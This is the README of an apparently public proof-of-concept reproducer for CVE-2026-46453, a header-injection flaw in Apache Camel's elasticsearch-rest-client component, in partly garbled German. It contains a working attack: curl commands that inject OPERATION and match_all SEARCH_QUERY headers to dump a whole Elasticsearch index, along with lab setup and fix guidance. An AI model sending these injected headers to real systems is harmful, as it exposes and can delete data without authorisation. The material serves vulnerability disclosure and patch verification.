oscerd/cve-2026-46453Reproducer für CVE-2026-46453 — Apache Camel camel-elasticsearch-rest-client Injektion von nicht präfixierten Headern (Operations-/Query-Override über eingehende HTTP-Header)
Dieses Projekt demonstriert eine Message-Header-Injection / Autorisierungsumgehung in der Apache Camel-Komponente camel-elasticsearch-rest-client, verfolgt als CVE-2026-46453. Die Komponente liest mehrere Exchange-Header, um ihr Verhalten zu steuern – SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID. In den betroffenen Versionen sind diese Header-String-Werte schlichte, unpräfixierte Namen ("OPERATION", "SEARCH_QUERY", …) anstelle der mit präfixierten Namen, die jede andere Komponente verwendet. Camels eingehender blockiert nur Namen, die mit / beginnen, sodass diese Header . Wenn eine Route einen HTTP-Einstiegspunkt (z.B. platform-http) vor einem elasticsearch-rest-client-Producer exponiert, kann ein nicht vertrauenswürdiger HTTP-Client diese Header direkt setzen und – das gesamte Index lesen, Dokumente löschen usw. Es sind keine Anmeldedaten erforderlich.
CamelHttpHeaderFilterStrategyCamelcamelSicherheitshinweis: https://camel.apache.org/security/CVE-2026-46453.html
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-elasticsearch-rest-client |
| Betroffene Konstanten | ElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (unpräfixierte Werte) |
| CWE | CWE-20 (Unzureichende Eingabevalidierung) + CWE-639 (Autorisierungsumgehung durch benutzergesteuerten Schlüssel) |
| Auswirkung | Nicht vertrauenswürdiger HTTP-Client überschreibt die ES-Operation/-Abfrage – Dokumente lesen/löschen/exfiltrieren |
| Betroffene Versionen | Von 4.3.0 vor 4.14.8, von 4.15.0 vor 4.18.3, von 4.19.0 vor 4.21.0 |
| Behobene Versionen | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23508 |
| Melder | Yu Bao (PayPal) |
Gleiche Header-Injection-Familie wie CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 und CVE-2026-47323 – alle herrührend von Komponenten, die eingehende Header lesen, die der standardmäßige
HeaderFilterStrategynicht blockiert, weil die Namen nicht mit demCamel-Präfix beginnen.
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
HttpHeaderFilterStrategy blockiert nur Camel*/camel*, sodass ein eingehender HTTP-Header OPERATION: SEARCH (und
SEARCH_QUERY: {...}) passiert und die vom Routenautor konfigurierte operation=GET_BY_ID überschreibt. Der Fix
(4.14.8 / 4.18.3 / 4.21.0) benennt die Werte in CamelElasticsearchOperation, CamelElasticsearchSearchQuery,
usw. um, sodass der eingehende Filter sie blockiert (die Java-Feldnamen sind unverändert).
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
// route author intends a single, safe operation: fetch one document by id
Ein HTTP-Request eines Angreifers mit OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} überschreibt das
und gibt das gesamte Index aus.
CVE-2026-46453/
├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml # Elasticsearch 8.15.3 (security disabled)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── EsSeeder.java # seeds a "public" and a "secret" document
│ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID)
│ └── ExploitController.java # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
└── resources/
└── application.properties
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# the app seeds the 'products' index with a public and a secret document on startup
curl -s http://localhost:8080/exploit/attack
# === 1) Legitimate request (ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} secret leaked: false
# === 2) Attack request (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] secret leaked: true
#
# >>> Header-injection proof — attacker overrode the operation and read the whole index: true
Sie können es auch manuell tun – die injizierten Header passieren den eingehenden Filter von platform-http ungehindert:
# legit: route author's GET_BY_ID returns only the public doc
curl -s -H "ID: public-1" http://localhost:8080/products
# attack: override the operation and dump the whole index (incl. the secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
docker compose down
Jede Route, die einen HTTP-Einstiegspunkt vor einem elasticsearch-rest-client-Producer exponiert. Der Angreifer setzt
OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS oder ID im eingehenden HTTP-Request; sie umgehen den
Camel-Präfix eingehenden Filter und erreichen den Producer.
HttpHeaderFilterStrategy (blockiert nur Camel*), der die unpräfixierten ES-Header nicht abdeckt.Aktualisieren Sie auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508), das die Header-Werte mit Camel präfixiert, sodass der
eingehende Filter sie blockiert.
Bis zum Update entfernen Sie die betroffenen Header vor dem Producer aus nicht vertrauenswürdigen eingehenden Nachrichten:
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
oder wenden Sie eine benutzerdefinierte HeaderFilterStrategy an, die diese Namen blockiert.
Dieser Reproduktion ist nur für Sicherheitsforschung und autorisierte Tests bestimmt, für eine öffentlich bekanntgegebene und behobene Sicherheitslücke. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Genehmigung.